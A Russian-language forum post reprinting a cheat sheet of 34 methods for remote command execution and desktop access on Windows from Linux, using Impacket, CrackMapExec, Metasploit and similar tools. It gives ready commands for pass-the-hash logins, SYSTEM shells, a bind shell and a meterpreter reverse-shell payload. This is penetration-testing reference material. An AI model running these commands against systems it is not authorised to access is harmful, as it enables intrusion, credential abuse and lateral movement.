• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Удаленный доступ к системам Windows из Linux

Engine1

Куратор
Сообщения
57
Реакции
42
0 руб.
Эта статья содержит набор методов для подключения к удаленной системе Windows из Linux и примеры того, как выполнять команды на машинах Windows удаленно из Linux с помощью ряда различных инструментов. И мы рассмотрим как осуществлять удаленный доступ к системам Windows из Linux.
Она охватывает более 30 различных методов получения удаленной оболочки, удаленного выполнения команд или подключения к удаленному рабочему столу с использованием различных свободно доступных инструментов и утилит.


Существует множество различных инструментов, которые можно использовать для доступа к удаленному компьютеру с Windows из Linux и выполнения на нем команд. Вот список существующих инструментов, описанных в этой статье, которые можно использовать для этой задачи.

Инструменты для удаленной команды или удаленного доступа к оболочке:

  • Impacket
  • CrackMapExec
  • PTH Toolkit
  • Keimpx
  • Metasploit
  • Redsnarf
  • Winexe
  • SMBMap
Инструменты для удаленного графического отображения:

  • Rdesktop
  • FreeRDP (xfreerdp)
  • TightVNC (xtightvncviewer)
  • TigerVNC (xtigervncviewer)

Все эти инструменты имеют открытый исходный код и свободно доступны в любом дистрибутиве Linux (Kali, Ubuntu, Debian, Arch, CentOS, RedHat, Parrot ..), включая платформы на основе UNIX, такие как BSD, Mac OS X и многие другие.

Большинство этих инструментов работают путем подключения к порту SMB (tcp / 445) на удаленном компьютере с Windows, но некоторые из них также используют другие интерфейсы, такие как WMI, MMC, DCOM, NetBIOS и, конечно, RDP или VNC в случае подключение к удаленному (графическому) рабочему столу.

Более подробная информация об этом включена в обзорную таблицу ниже.

Обзорная таблица
В следующей таблице приводится сводка всех методов удаленного доступа, описанных в этой статье.

Вы можете увидеть, какой тип удаленного выполнения возможен с использованием каждого метода, а также подробную информацию о том, какие сетевые порты используются во время соединения
1629126207853.png
1629126236812.png
1629126253469.png

Методы удаленного доступа из командной строки
Этот раздел содержит все методы удаленного доступа к командной строке, которые можно использовать для удаленного выполнения команд на машине Windows из Linux, включая создание интерактивной оболочки (cmd.exe или powershell.exe).

ВАЖНО
: Для использования этих методов необходимо предоставить учетные данные администратора. Это относится ко всем описанным ниже методам.

Теперь перейдем к реальным методам и приемам.

Impacket
Impacket— это библиотека Python для работы с различными сетевыми протоколами Windows. Он используется многими различными инструментами тестирования на проникновение и содержит ряд методов для выполнения команд на удаленных компьютерах с Windows.

1629126390088.png

Вот как мы можем использовать Impacket для выполнения команд в удаленной системе Windows:

1. Impacket psexec.py

Это создаст интерактивную удаленную оболочку с помощью метода Psexec:

psexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

psexec.py "./Administrator:pass123"@192.168.0.1


2. Impacket dcomexec.py

Это создаст полуинтерактивную удаленную оболочку с использованием DCOM:

dcomexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

dcomexec.py "./Administrator:pass123"@192.168.0.1


3. Impacket smbexec.py

Это создаст полуинтерактивную удаленную оболочку через встроенные функции Windows SMB:

smbexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

smbexec.py "./Administrator:pass123"@192.168.0.1


4. Impacket wmiexec.py

Это создаст полуинтерактивную удаленную оболочку с использованием WMI:

wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

wmiexec.py "./Administrator:pass123"@192.168.0.1


5. Impacket atexec.py

Это выполнит команду удаленно через Atsvc:

atexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET> <COMMAND>

atexec.py "./Administrator:pass123"@192.168.0.1 "whoami"


Примечание: Impacket также поддерживает метод аутентификации с использованием хеш-кода, что позволяет использовать NTLM-хэш вместо пароля. Вот пример с psexec.py:

psexec.py -hashes <LM>:<NTLM> <DOMAIN>/<USER>@<TARGET>

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 "./Administrator"@192.168.0.1


Подробную информацию об этих методах с еще большим количеством примеров и снимков экрана можно найти здесь.

CrackMapExec

CrackMapExec— это швейцарский армейский нож пентеста. Он имеет множество полезных функций и интегрируется с рядом других проектов по обеспечению безопасности, таких как Mimikatz, Empire, PowerSploit или Metasploit.

Он также содержит ряд методов для выполнения команд на удаленных машинах Windows.

1629126471098.png

Вот как использовать CrackMapExec для выполнения команд в удаленных системах:

6. CrackMapExec wmiexec

Это выполнит команду (CMD / PowerShell) удаленно с помощью WMI:

crackmapexec smb -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET> crackmapexec smb -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

7. CrackMapExec atexec

Это выполнит команду (CMD / PowerShell) удаленно через Atsvc:

crackmapexec smb --exec-method atexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec smb --exec-method atexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1


8. CrackMapExec smbexec

Это выполнит команду (CMD / PowerShell) удаленно с использованием собственного SMB:

crackmapexec smb --exec-method smbexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec smb --exec-method smbexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1


9. CrackMapExec mmcexec

Это выполнит команду (CMD / PowerShell) удаленно через MMC:

crackmapexec smb --exec-method mmcexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec smb --exec-method mmcexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1


10. CrackMapExec winrm

Это выполнит команду (CMD / PowerShell) удаленно с помощью PSRemoting:

crackmapexec winrm -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec winrm -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1


Примечание: Хотя CrackMapExec позволяет запускать команду только в удаленной системе, мы все равно можем использовать ее для создания интерактивной оболочки с помощью командлета обратной оболочки PowerShell (например, некоторых из них).

CrackMapExec также поддерживает передачу хэша NTLM вместо пароля (pass-the-hash). Вот пример с wmiexec:

crackmapexec smb -d <DOMAIN> -u <USER> -H <LM:NTLM> -x <COMMAND> <TARGET>

crackmapexec smb -d . -u Administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -x "cmd /c whoami" 192.168.0.1


Более подробную информацию о CrackMapExec с примерами и скриншотами можно найти здесь.

Набор инструментов PTH
PTH Toolkit — это набор утилит, созданный пионерами техники передачи хеширования. Он содержит ряд полезных инструментов для подключения к удаленным машинам Windows, некоторые из которых также предназначены для выполнения команд в удаленных системах Windows.

1629126511374.png

Вот как использовать все функции удаленного доступа PTH Toolkit:

11. PTH Toolkit: pth-winexe


Это создаст интерактивную удаленную оболочку с использованием метода, подобного Psexec:

pth-winexe -U <DOMAIN>\\<USER>%<PASSWORD> --uninstall //<TARGET> <COMMAND>

pth-winexe -U ".\Administrator%pass123" --uninstall //192.168.0.1 cmd


Обратите внимание, что с помощью параметра «–system» pth-winexe также может автоматически расширяться до учетной записи «nt Authority \ system».

12. PTH Toolkit: pth-wmis


Это выполнит команду удаленно с помощью WMI:

pth-wmis -U <DOMAIN>\\<USER>%<PASSWORD> //<TARGET> <COMMAND>

pth-wmis -U ".\Administrator%pass123" //192.168.0.1 'cmd.exe /c whoami'


Обратите внимание, что этот конкретный метод не возвращает выходные данные команды. Если нам нужен результат, мы должны получить его с помощью дополнительной утилиты pth-smbget.

Примечание:
PTH Toolkit, конечно, также поддерживает предоставление хеш-кода NTLM вместо пароля (pass-the-hash). Вот пример с pth-winexe:

pth-winexe -U <DOMAIN>\\<USER>%<LM|NTLM> --uninstall //<TARGET> <COMMAND>

pth-winexe -U ".\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" --uninstall //192.168.0.1 cmd


Более подробную информацию о PTH Toolkit с примерами и скриншотами можно найти здесь:

Keimpx
Keimpx— это инструмент лаборатории NCC Group, разработанный для пентестинга сред Windows. Он имеет много интересных функций, таких как работа с общими сетевыми ресурсами или кустами реестра, сброс хэшей и удаленное извлечение файлов NTDS, и, конечно же, ряд методов для удаленного выполнения команд в системах Windows.

1629126564385.png

Вот как использовать Keimpx для удаленного выполнения команд.
Сначала нам нужно запустить Keimpx с целевым списком, к которому нужно подключиться. Здесь мы подключаемся к одной машине:
keimpx.py -D <DOMAIN> -U <USER> -P <PASSWORD> -t <TARGET>
keimpx.py -D . -U Administrator -P pass123 -t 192.168.0.1

Теперь будет интерактивное меню, в котором мы сможем выбрать, что мы хотим сделать.
Вот список всех поддерживаемых методов, доступных в меню для выполнения команд или создания оболочек:
13. Keimpx: svcexec
Это выполняет команду в удаленной системе с помощью службы Windows. Введите в меню:
svcexec <COMMAND>
svcexec "dir c:\users"

14. Keimpx: svcexec SERVER
Метод svcexec SERVER также выполняет команду, но он разработан для более ограниченных систем, в которых нет доступных для записи сетевых ресурсов:
svcexec <COMMAND> SERVER
svcexec "dir c:\users" SERVER

15. Keimpx: svcshell
Это создаст полуинтерактивную оболочку в удаленной системе с помощью службы Windows:
svcshell
16. Keimpx: svcshell SERVER
Svcshell
также поддерживает режим СЕРВЕРА, который может порождать удаленную оболочку в более ограниченных системах без какого-либо доступного для записи сетевого ресурса:
svcshell SERVER
17. Keimpx: atexec
Это выполняет команду в удаленной системе через Atsvc:

atexec <COMMAND>

atexec "dir c:\users"

18. Keimpx: psexec

Этот метод может выполнять любую команду в удаленной системе, включая интерактивные команды, такие как cmd.exe или powershell.exe:

psexec <COMMAND>

psexec cmd.exe

psexec powershell.exe


19. Keimpx: bindshell

Этот метод порождает оболочку привязки на целевой машине Windows на выбранном TCP-порту:

bindshell <PORT>

bindshell 4444

Keimpx автоматически подключится к нему и предоставит нам удаленную оболочку.

Примечание: Keimpx также, конечно, поддерживает передачу хэшей NTLM вместо паролей для аутентификации (pass-the-hash). Вот как подключиться с помощью хеша:

keimpx.py -D <DOMAIN> -U <USER> --lm=<LM> --nt=<NTLM> -t <TARGET>

keimpx.py -D . -U Administrator --lm=aad3b435b51404eeaad3b435b51404ee --nt=5fbc3d5fec8206a30f4b6c473d68ae76 -t 192.168.0.1

Более подробную информацию о Keimpx с примерами и скриншотами можно найти здесь:

Metasploit
Metasploit Framework, вероятно, в представлении не нуждается. Это одна из наиболее всеобъемлющих платформ для тестирования на проникновение с более чем 4280 различными модулями и эксплойтами. Естественно, некоторые из этих модулей предназначены для выполнения команд в удаленных системах Windows.
1629126621803.png

Вот как его использовать для удаленного выполнения.

Сначала нам нужно запустить msfconsole из командной строки, а затем мы можем использовать любой из следующих методов:

20. Metasploit: wmiexec
Модуль wmiexec использует WMI для выполнения команд в удаленной системе. Вот пример:

use auxiliary/scanner/smb/impacket/wmiexec

set RHOSTS <TARGET-IP>

set SMBUser Administrator

set SMBPass pass123

set SMBDomain .

set COMMAND "whoami"

run


21. Metasploit: dcomexec

Модуль dcomexec может выполнять команду в удаленной системе, используя различные объекты DCOM, такие как:

  • MMC20
  • ShellWindows
  • ShellBrowserWindow
Эти объекты можно выбрать, установив опцию OBJECT (установить OBJECT ..) в msfconsole.

Вот пример выполнения команды в удаленной системе с использованием метода dcomexec:

use auxiliary/scanner/smb/impacket/dcomexec

set RHOSTS <TARGET-IP>

set SMBUser Administrator

set SMBPass pass123

set SMBDomain .

set COMMAND "whoami"

run


22. Metasploit: psexec

Модуль Metasploit psexec может выполнять любую полезную нагрузку (например, обратную оболочку), используя следующие 4 метода:

  • PowerShell
  • Native upload
  • MOF upload
  • Command
Эти методы можно выбрать с помощью параметра target (установить цель 1-4) в msfconsole.

Вот пример получения обратной оболочки с использованием собственного метода загрузки:

use exploit/windows/smb/psexec

set RHOSTS <TARGET-IP>

set SMBUser Administrator

set SMBPass pass123

set SMBDomain .

set target 2

set payload windows/x64/meterpreter/reverse_winhttps

set LHOST <YOUR-IP>

set LPORT <PORT>

run


Примечание. Metasploit, конечно, поддерживает передачу хэшей NTLM для аутентификации вместо паролей (pass-the-hash). Чтобы использовать, просто установите параметр SMBPass следующим образом:

set SMBPass <LM>:<NTLM>

set SMBPass aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76


Более подробную информацию о возможностях Metasploit RCE с примерами и скриншотами можно найти здесь:

RedSnarf
RedSnarf — еще одна утилита для тестирования на проникновение и красной команды, разработанная лабораториями NCC Group. Он предлагает несколько уникальных функций для тестирования систем Windows на проникновение, включая ряд методов для удаленного выполнения команд.

1629126686118.png

Вот как им пользоваться.

Сначала мы должны запустить RedSnarf с целью для подключения. Например:

redsnarf -H ip=<TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> -uD y

redsnarf -H ip=192.168.0.1 -d . -u Administrator -p pass123 -uD y


Теперь будет интерактивное меню, в котором мы сможем выбрать, что мы хотим сделать.

Существуют следующие 4 поддерживаемых метода выполнения команды или оболочки в целевой системе Windows:

23. RedSnarf: SYSTEM shell

Нажатие ‘s’ в меню вызовет интерактивную оболочку с привилегиями SYSTEM (nt Authority \ system) в удаленной системе с использованием метода, аналогичного Psexec.

24. RedSnarf: Admin shell

Нажатие ‘n’ в меню вызовет интерактивную оболочку, работающую в контексте предоставленного административного имени пользователя (без перехода на SYSTEM).

25. RedSnarf: WMI shell


Нажатие клавиши «w» в меню вызовет полуинтерактивную оболочку через WMI.

26. RedSnarf: XCOMMAND

Мы также можем просто выполнить предоставленную команду в удаленной системе, запустив RedSnarf следующим образом:

redsnarf -H ip=<TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> -uX <COMMAND>

redsnarf -H ip=192.168.0.1 -d . -u Administrator -p pass123 -uX "whoami"


Примечание. RedSnarf, естественно, также поддерживает передачу хэшей NTLM для аутентификации вместо паролей (pass-the-hash). Вот как подключиться с помощью хеша:

redsnarf -H ip=<TARGET> -d <DOMAIN> -u <USER> -p <LM>:<NTLM> -uD y

redsnarf -H ip=192.168.0.1 -d . -u Administrator -p aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -uD y


Более подробную информацию о RedSnarf с примерами и скриншотами можно найти здесь:

Winexe
Winexe — это небольшая утилита Linux, предназначенная для удаленного выполнения команд в системах Windows по протоколу SMB. Он не выполняет многих других функций, но работает очень хорошо и имеет встроенную функцию Runas, которая иногда может оказаться весьма кстати.

1629126723056.png

Вот все методы доступа к удаленным системам Windows с помощью Winexe:

27. Winexe

По умолчанию Winexe запускает команду удаленно, которая также может быть интерактивной командой, такой как cmd.exe или powershell.exe для получения оболочки:

winexe --uninstall -U <DOMAIN>/<USER>%<PASSWORD> //<TARGET> <COMMAND>

winexe --uninstall -U ./Administrator%"pass123" //192.168.0.1 cmd


28. Winexe: SYSTEM

Это выполнит предоставленные команды с правами СИСТЕМЫ (NT Authority \ system) в удаленной системе:

winexe --uninstall --system -U <DOMAIN>/<USER>%<PASSWORD> //<TARGET> <COMMAND>

winexe --uninstall --system -U ./Administrator%"pass123" //192.168.0.1 cmd


29. Winexe: RUNAS

Winexe
также может выполнять команды под указанной учетной записью Windows в удаленной системе, выполняя автоматический вход в систему (Runas):

winexe --uninstall --runas=<DOMAIN>/<USER>%<PASSWORD> -U <DOMAIN>/<USER>%<PASSWORD> //<TARGET> <COMMAND>

winexe --uninstall --runas=./bob%secret123 -U ./Administrator%"pass123" //192.168.0.1 cmd

Встроенная функция Runas может быть особенно полезна в ситуациях, когда мы хотим выполнить что-то под определенным профилем пользователя.

Примечание. Winexe не имеет встроенной поддержки передачи хэша, но при установке пакета передачи хеша это становится возможным. Это связано с тем, что пакет передачи хэша содержит библиотеку с поддержкой передачи хэша и оборачивается вокруг Winexe через LD_PRELOAD.

Вот как передать Winexe хеш вместо пароля:

winexe --uninstall -U <DOMAIN>/<USER>%<LM><NTLM> //<TARGET> <COMMAND>

winexe --uninstall -U "./Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" //192.168.0.1 cmd

Более подробную информацию о Winexe можно найти здесь:

SMBMap
SMBMap в первую очередь является перечислителем общих дисков SMB / CIFS, однако он также может выполнять команды в удаленной системе Windows.
1629126757631.png

30. SMBMap
Выполните команду в удаленной системе через собственный SMB:
smbmap -d <DOMAIN> -u <USER> -p <PASSWORD> -H <TARGET> -x <COMMAND>
smbmap -d . -u 'Administrator' -p 'pass123' -H 192.168.0.1 -x 'whoami'

Примечание. SMBMap также изначально поддерживает аутентификацию с использованием хэша. Вот как передать хэш в SMBMap:
smbmap -d <DOMAIN> -u <USER> -p <LM:NTLM> -H <TARGET> -x <COMMAND>
smbmap -d . -u 'Administrator' -p 'aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76' -H 192.168.0.1 -x 'whoami'

Мы также можем создать удаленную интерактивную оболочку с помощью SMBMap, аналогично CrackMapExec, выполнив командлет PowerShell (например, некоторые из них).
Более подробную информацию о SMBMap с примерами можно найти здесь:
Графические методы удаленного доступа
Этот раздел содержит методы подключения к удаленным системам Windows из Linux через графические пользовательские интерфейсы, такие как RDP или VNC.

Rdesktop
Rdesktop — популярный клиент RDP с открытым исходным кодом, поддерживающий большинство операционных систем Windows, официально до Windows Server 2012 RDS. Он имеет множество полезных функций, включая поддержку сетевых дисков, мультимедиа и перенаправление USB, двунаправленный буфер обмена и многое другое. В настоящее время этот проект ищет нового сопровождающего.

31. Rdesktop

Вот как открыть сеанс RDP на удаленном компьютере с Windows с помощью rdesktop:

rdesktop -d <DOMAIN> -u <USER> -p <PASSWORD> <TARGET>

rdesktop -d . -u bob -p pass123 192.168.0.1


Вот несколько полезных опций rdesktop:

1629126786966.png

FreeRDP
FreeRDP — еще один очень популярный клиент RDP для Linux (xfreerdp), который также имеет много интересных функций, таких как поддержка сетевых дисков, мультимедиа и перенаправление USB, двунаправленный буфер обмена, а также многое другое.

32. FreeRDP: xfreerdp

Вот как открыть сеанс RDP на удаленном компьютере с Windows с помощью xfreerdp:

xfreerdp /d:<DOMAIN> /u:<USER> /p:<PASSWORD> /v:<TARGET>

xfreerdp /d:. /u:bob /p:pass123 /v:192.168.0.1


Вот несколько полезных опций xfreerdp:

1629126809354.png


Примечание. FreeRDP также поддерживает передачу хэшей NTLM вместо паролей (pass-the-hash), вот как это использовать:

xfreerdp /d:<DOMAIN> /u:<USER> /pth:<NTLM> /v:<TARGET>

xfreerdp /d:. /u:bob /pth:D0F2E311D3F450A7FF2571BB59FBEDE5 /v:192.168.0.1


Однако это работает только в Windows 2012 R2 и Windows 8.1 (подробности здесь).

TightVNC
TightVNC— это легкое программное обеспечение VNC с клиентом для Linux (xtightvncviewer), которое обеспечивает быстрый и надежный способ подключения ко всем типам серверов VNC, а не только к тем, которые работают в Windows.

33. TightVNC: xtightvncviewer

Вот как открыть соединение VNC с удаленным компьютером с Windows с помощью xtightvncviewer:

xtightvncviewer <TARGET>

xtightvncviewer 192.168.0.1


Нам будет предложено пройти аутентификацию, если она потребуется.

Вот несколько полезных опций xtightvncviewer:

1629126843432.png

TigerVNC
TigerVNC— еще одно популярное программное обеспечение VNC с клиентом Linux (xtigervncviewer) со множеством полезных функций. Например, он поддерживает буфер обмена, расширенные методы аутентификации, шифрование TLS и другие вещи.
Вот как им пользоваться.
34. TigerVNC: xtigervncviewer
Вот как открыть соединение VNC с удаленным компьютером с Windows с помощью xtigervncviewer:
xtigervncviewer <TARGET>
xtigervncviewer 192.168.0.1

Нам будет предложено пройти аутентификацию, если она потребуется.
Вот несколько полезных опций xtigervncviewer:

1629126870274.png

Материал был взят с (НЕ реклама )
 
Сверху Снизу